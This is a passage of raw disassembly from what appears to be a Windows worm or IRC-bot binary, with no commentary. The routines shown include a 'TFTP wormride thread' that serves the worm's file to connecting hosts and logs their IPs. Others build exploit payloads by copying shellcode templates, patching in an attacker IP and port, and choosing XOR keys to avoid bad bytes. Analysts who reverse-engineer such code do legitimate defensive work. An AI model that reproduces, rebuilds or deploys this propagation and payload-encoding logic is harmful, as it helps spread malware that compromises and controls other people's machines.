		push	0
		lea	eax, [ebp+var_B5C]
		push	eax
		push	0
		call	dword_41722C	; select
		test	eax, eax
		jle	loc_4123B8
		mov	[ebp+var_D84], 10h
		mov	al, byte_41DE30
		mov	[ebp+var_D70], al
		mov	ecx, 80h
		xor	eax, eax
		lea	edi, [ebp+var_D6F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_D84]
		push	eax
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	80h
		lea	eax, [ebp+var_19C]
		push	eax
		push	[ebp+var_108]
		call	dword_417258	; recvfrom
		mov	[ebp+var_B6C], eax
		cmp	[ebp+var_B6C], 0
		jz	short loc_412084
		cmp	[ebp+var_B6C], 0FFFFFFFFh
		jnz	short loc_412089


loc_412084:				; CODE XREF: sub_411DC5+2B4j
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_412089:				; CODE XREF: sub_411DC5+2BDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_4121C0
		movsx	eax, [ebp+var_19B]
		cmp	eax, 1
		jnz	loc_4121C0
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D88], eax
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D8C], eax
		mov	eax, [ebp+var_D88]
		inc	eax
		inc	eax
		mov	[ebp+var_D88], eax
		mov	eax, [ebp+var_D8C]
		inc	eax
		inc	eax
		mov	[ebp+var_D8C], eax
		push	[ebp+var_D8C]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_D8C]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_D8C], eax
		push	offset aOctet	; "octet"
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_D8C]
		push	offset aOctet	; "octet"
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41213F
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	13h
		push	offset dword_41C76C
		push	[ebp+var_108]
		call	dword_417250	; sendto
		jmp	short loc_4121BB
; ---------------------------------------------------------------------------


loc_41213F:				; CODE XREF: sub_411DC5+354j
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		and	[ebp+var_D6E], 0
		mov	[ebp+var_D6D], 1
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D90], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D90]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	dword_417250	; sendto


loc_4121BB:				; CODE XREF: sub_411DC5+378j
		jmp	loc_4123B8
; ---------------------------------------------------------------------------


loc_4121C0:				; CODE XREF: sub_411DC5+2CDj
					; sub_411DC5+2DDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_412396
		movsx	eax, [ebp+var_19B]
		cmp	eax, 4
		jnz	loc_412396
		mov	al, [ebp+var_19A]
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_199]
		mov	[ebp+var_D98], al
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		movzx	eax, [ebp+var_D98]
		cmp	eax, 0FFh
		jnz	short loc_412242
		mov	al, [ebp+var_DA0]
		add	al, 1
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		and	[ebp+var_D98], 0
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al
		jmp	short loc_412268
; ---------------------------------------------------------------------------


loc_412242:				; CODE XREF: sub_411DC5+44Cj
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		mov	al, [ebp+var_D98]
		add	al, 1
		mov	[ebp+var_D98], al
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al


loc_412268:				; CODE XREF: sub_411DC5+47Bj
		movzx	eax, [ebp+var_DA0]
		shl	eax, 8
		movzx	ecx, [ebp+var_D98]
		lea	eax, [eax+ecx-1]
		mov	[ebp+var_D9C], eax
		push	0
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		push	eax
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D94], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D94]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	dword_417250	; sendto
		cmp	[ebp+var_D94], 0
		jnz	loc_412394
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		cmp	eax, [ebp+var_4]
		jb	loc_412394
		mov	eax, [ebp+var_D7C]
		mov	[ebp+var_DA8], eax
		push	[ebp+var_DA8]
		push	offset dword_41EB10
		call	sub_409C9D
		pop	ecx
		pop	ecx
		mov	[ebp+var_DA4], eax
		mov	eax, [ebp+var_DA4]
		cmp	eax, [ebp+var_DA8]
		jz	short loc_412394
		push	1
		push	offset dword_41EB14
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_DAC], eax
		push	10h
		push	[ebp+var_D7C]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_11C]
		push	eax
		mov	eax, [ebp+var_DAC]
		inc	eax
		push	eax
		push	offset aWormride ; "wormride"
		push	offset unk_41C730
		push	offset dword_41DAB4
		call	sub_40D4AB
		add	esp, 14h


loc_412394:				; CODE XREF: sub_411DC5+52Dj
					; sub_411DC5+53Fj ...
		jmp	short loc_4123B8
; ---------------------------------------------------------------------------


loc_412396:				; CODE XREF: sub_411DC5+404j
					; sub_411DC5+414j
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	9
		push	offset dword_41C724
		push	[ebp+var_108]
		call	dword_417250	; sendto


loc_4123B8:				; CODE XREF: sub_411DC5+252j
					; sub_411DC5:loc_4121BBj ...
		mov	eax, [ebp+var_358]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4123C6
		jmp	short loc_4123CB
; ---------------------------------------------------------------------------


loc_4123C6:				; CODE XREF: sub_411DC5+5FDj
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_4123CB:				; CODE XREF: sub_411DC5+5FFj
		push	[ebp+var_10C]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_108]
		call	dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_4123F1:				; CODE XREF: sub_411DC5+53j
					; sub_411DC5+F8j ...
		pop	edi
		leave
		retn	4
sub_411DC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123F6	proc near		; CODE XREF: sub_40A9CF+726p
					; sub_40A9CF+742p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412410
		jmp	short locret_412446
; ---------------------------------------------------------------------------


loc_412410:				; CODE XREF: sub_4123F6+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aTftpWormrideTh ; "TFTP wormride	thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411DC5
		call	sub_4095A4
		add	esp, 10h

locret_412446:				; CODE XREF: sub_4123F6+18j
		leave
		retn
sub_4123F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412448	proc near		; CODE XREF: sub_4125DF+88p
					; sub_4125DF+ADp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_41245A
; ---------------------------------------------------------------------------


loc_412453:				; CODE XREF: sub_412448:loc_41249Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_41245A:				; CODE XREF: sub_412448+9j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41249C
		and	[ebp+var_8], 0
		jmp	short loc_41246F
; ---------------------------------------------------------------------------


loc_412468:				; CODE XREF: sub_412448:loc_412498j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_41246F:				; CODE XREF: sub_412448+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_C]
		jnb	short loc_41249A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_10]
		xor	eax, ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_412498
		push	1
		pop	eax
		jmp	short locret_41249E
; ---------------------------------------------------------------------------


loc_412498:				; CODE XREF: sub_412448+49j
		jmp	short loc_412468
; ---------------------------------------------------------------------------


loc_41249A:				; CODE XREF: sub_412448+2Dj
		jmp	short loc_412453
; ---------------------------------------------------------------------------


loc_41249C:				; CODE XREF: sub_412448+18j
		xor	eax, eax

locret_41249E:				; CODE XREF: sub_412448+4Ej
		leave
		retn
sub_412448	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124A0	proc near		; CODE XREF: sub_4125DF+36p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_4], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		cmp	[ebp+arg_8], 1
		jnz	short loc_41250C
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_4124CC
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_4124CC:				; CODE XREF: sub_4124A0+23j
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C964
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 8Fh
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 88h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax
		jmp	loc_41259C
; ---------------------------------------------------------------------------


loc_41250C:				; CODE XREF: sub_4124A0+1Aj
		cmp	[ebp+arg_8], 2
		jnz	short loc_412554
		cmp	[ebp+arg_4], 0C6h
		jnb	short loc_412522
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_412522:				; CODE XREF: sub_4124A0+79j
		mov	[ebp+var_C], 0C6h
		push	[ebp+var_C]
		push	offset dword_41C89C
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 89h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C0h
		mov	[ebp+var_8], eax
		jmp	short loc_41259C
; ---------------------------------------------------------------------------


loc_412554:				; CODE XREF: sub_4124A0+70j
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_412561
		xor	eax, eax
		jmp	short locret_4125DD
; ---------------------------------------------------------------------------


loc_412561:				; CODE XREF: sub_4124A0+BBj
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C7E8
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 86h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 8Dh
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax


loc_41259C:				; CODE XREF: sub_4124A0+67j
					; sub_4124A0+B2j
		cmp	[ebp+var_4], 0
		jz	short loc_4125B0
		push	[ebp+arg_C]
		call	dword_417244	; inet_addr
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax


loc_4125B0:				; CODE XREF: sub_4124A0+100j
		cmp	[ebp+var_10], 0
		jz	short loc_4125CC
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_10]
		mov	[ecx], ax


loc_4125CC:				; CODE XREF: sub_4124A0+114j
		cmp	[ebp+var_8], 0
		jz	short loc_4125DA
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		mov	[eax], ecx


loc_4125DA:				; CODE XREF: sub_4124A0+130j
		mov	eax, [ebp+var_C]

locret_4125DD:				; CODE XREF: sub_4124A0+27j
					; sub_4124A0+7Dj ...
		leave
		retn
sub_4124A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125DF	proc near		; CODE XREF: sub_410649+8Bp
					; sub_410B52+41p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		cmp	[ebp+arg_4], 1Ch
		jnb	short loc_4125F2
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_4125F2:				; CODE XREF: sub_4125DF+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		mov	[ebp+var_4], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1E4h
		push	[ebp+var_4]
		call	sub_4124A0
		add	esp, 18h
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_41262D
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_41262D:				; CODE XREF: sub_4125DF+45j
		push	1Ch
		push	offset loc_41C7C8
		push	[ebp+var_10]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, dword_41CB98
		mov	[ebp+var_8], eax
		jmp	short loc_412659
; ---------------------------------------------------------------------------


loc_412649:				; CODE XREF: sub_4125DF+94j
					; sub_4125DF:loc_41269Aj
		call	sub_410422
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	dword_41CB98, eax


loc_412659:				; CODE XREF: sub_4125DF+68j
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_412675
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_412675:				; CODE XREF: sub_4125DF+92j
		mov	eax, [ebp+var_14]
		xor	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41269A
		jmp	short loc_41269C
; ---------------------------------------------------------------------------


loc_41269A:				; CODE XREF: sub_4125DF+B7j
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_41269C:				; CODE XREF: sub_4125DF+B9j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax+3], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_1C]
		mov	[eax+9], ecx
		mov	al, byte_41CB95
		mov	byte ptr [ebp+var_C], al
		jmp	short loc_4126C8
; ---------------------------------------------------------------------------


loc_4126B8:				; CODE XREF: sub_4125DF+104j
		call	sub_410461
		mov	byte ptr [ebp+var_C], al
		mov	al, byte ptr [ebp+var_C]
		mov	byte_41CB95, al


loc_4126C8:				; CODE XREF: sub_4125DF+D7j
		push	[ebp+var_C]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_14]
		push	[ebp+var_4]
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_4126E5
		jmp	short loc_4126B8
; ---------------------------------------------------------------------------


loc_4126E5:				; CODE XREF: sub_4125DF+102j
		mov	eax, [ebp+var_10]
		mov	cl, byte ptr [ebp+var_C]
		mov	[eax+12h], cl
		and	[ebp+var_18], 0
		jmp	short loc_4126FB
; ---------------------------------------------------------------------------


loc_4126F4:				; CODE XREF: sub_4125DF+137j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_4126FB:				; CODE XREF: sub_4125DF+113j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jnb	short loc_412718
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_C]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_18]
		mov	[ecx], al
		jmp	short loc_4126F4
; ---------------------------------------------------------------------------


loc_412718:				; CODE XREF: sub_4125DF+122j
		mov	eax, [ebp+var_14]
		add	eax, 1Ch

locret_41271E:				; CODE XREF: sub_4125DF+Ej
					; sub_4125DF+49j
		leave
		retn
sub_4125DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412720	proc near		; CODE XREF: sub_412A3A+Cp
					; sub_412BC9+DFp ...

var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_E4		= byte ptr -0E4h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_194], eax
		and	[ebp+var_190], 0


loc_412741:				; CODE XREF: sub_412720:loc_41278Aj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_190]
		mov	[ebp+ecx+var_10], al
		mov	eax, [ebp+var_190]
		inc	eax
		mov	[ebp+var_190], eax
		mov	eax, [ebp+var_190]
		cmp	eax, [ebp+var_194]
		jnz	short loc_41278A
		push	offset dword_418620
		mov	eax, [ebp+var_190]
		lea	eax, [ebp+eax+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_41278C
; ---------------------------------------------------------------------------


loc_41278A:				; CODE XREF: sub_412720+4Fj
		jmp	short loc_412741
; ---------------------------------------------------------------------------


loc_41278C:				; CODE XREF: sub_412720+68j
		push	17Ch
		push	offset dword_41CA18
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	17Ch
		lea	eax, [ebp+var_18C]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_412720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127D0	proc near		; CODE XREF: sub_412A3A+14Dp
					; sub_412BC9+133p ...

var_24C		= byte ptr -24Ch
var_22C		= byte ptr -22Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		cmp	dword_41EB1C, 0
		jnz	loc_4128A0
		mov	dword_41EB1C, 1
		and	[ebp+var_20C], 0
		jmp	short loc_412806
; ---------------------------------------------------------------------------


loc_4127F9:				; CODE XREF: sub_4127D0:loc_41289Bj
		mov	eax, [ebp+var_20C]
		inc	eax
		mov	[ebp+var_20C], eax


loc_412806:				; CODE XREF: sub_4127D0+27j
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		cmp	off_41DA68[eax], 0
		jz	loc_4128A0
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41DA68[eax]
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41CBA0[eax]
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41289B
		mov	dword_41EB20, 1
		jmp	short loc_4128A0
; ---------------------------------------------------------------------------


loc_41289B:				; CODE XREF: sub_4127D0+BDj
		jmp	loc_4127F9
; ---------------------------------------------------------------------------


loc_4128A0:				; CODE XREF: sub_4127D0+10j
					; sub_4127D0+46j ...
		cmp	dword_41EB20, 0
		jz	short loc_4128AE
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128AE:				; CODE XREF: sub_4127D0+D7j
		push	offset aRb	; "rb"
		push	offset dword_41EC40
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4128CC
		xor	eax, eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128CC:				; CODE XREF: sub_4127D0+F6j
		and	[ebp+var_4], 0


loc_4128D0:				; CODE XREF: sub_4127D0+145j
		push	[ebp+var_8]
		push	200h
		push	1
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412900
		push	[ebp+var_8]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_412900:				; CODE XREF: sub_4127D0+120j
		push	[ebp+var_4]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	short loc_4128D0
; ---------------------------------------------------------------------------

locret_412917:				; CODE XREF: sub_4127D0+DCj
					; sub_4127D0+FAj ...
		leave
		retn
sub_4127D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412919	proc near		; CODE XREF: sub_412BC9+E8p
					; sub_412D56+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412938
		xor	eax, eax
		jmp	short locret_41294C
; ---------------------------------------------------------------------------


loc_412938:				; CODE XREF: sub_412919+19j
		push	0
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	eax, [ebp+var_4]

locret_41294C:				; CODE XREF: sub_412919+1Dj
		leave
		retn
sub_412919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41294E	proc near		; CODE XREF: sub_412BC9+115p
					; sub_412D56+3Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_412964
; ---------------------------------------------------------------------------


loc_41295D:				; CODE XREF: sub_41294E:loc_4129C3j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_412964:				; CODE XREF: sub_41294E+Dj
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CCFE[eax], 0
		jz	short loc_4129C5
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		mov	eax, dword_41CCF6[eax]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4129C3
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		mov	[ebp+var_4], eax
		push	3Ah
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		push	eax
		push	[ebp+arg_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 13h
		push	eax
		call	sub_4105FB
		pop	ecx
		jmp	short loc_4129C5
; ---------------------------------------------------------------------------


loc_4129C3:				; CODE XREF: sub_41294E+34j
		jmp	short loc_41295D
; ---------------------------------------------------------------------------


loc_4129C5:				; CODE XREF: sub_41294E+23j
					; sub_41294E+73j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41294E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129CA	proc near		; CODE XREF: sub_412A3A+16Bp
					; sub_412BC9+15Ap ...

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	1
		mov	eax, [ebp+arg_0]
		add	eax, 2Ah
		push	eax
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_104], eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_8]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412A11
		push	offset aUnknown	; "unknown"
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_412A11:				; CODE XREF: sub_4129CA+32j
		lea	eax, [ebp+var_100]
		push	eax
		mov	eax, [ebp+var_104]
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	offset dword_41A1D0
		push	offset dword_41DAB4
		call	sub_40D4AB
		add	esp, 18h
		leave
		retn
sub_4129CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A3A	proc near		; CODE XREF: sub_41331E+148p

var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= byte ptr -248h
var_235		= byte ptr -235h
var_222		= dword	ptr -222h
var_20C		= dword	ptr -20Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	[ebp+arg_4]
		call	sub_412720
		pop	ecx
		push	3Ah
		push	[ebp+arg_0]
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_235]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_20C+3]
		mov	[ebp+var_8], eax
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		and	[ebp+var_4], 0
		jmp	short loc_412AA6
; ---------------------------------------------------------------------------


loc_412A9F:				; CODE XREF: sub_412A3A+8Aj
					; sub_412A3A:loc_412B7Fj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412AA6:				; CODE XREF: sub_412A3A+63j
		cmp	[ebp+var_4], 3Ch
		jnz	short loc_412AB1
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AB1:				; CODE XREF: sub_412A3A+70j
		push	3E8h
		push	[ebp+arg_4]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412AC6
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412AC6:				; CODE XREF: sub_412A3A+88j
		push	200h
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0FFFFFFFFh
		jnz	short loc_412AED
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AED:				; CODE XREF: sub_412A3A+ACj
		cmp	[ebp+var_24C], 0
		jz	short loc_412B69
		and	[ebp+var_250], 0
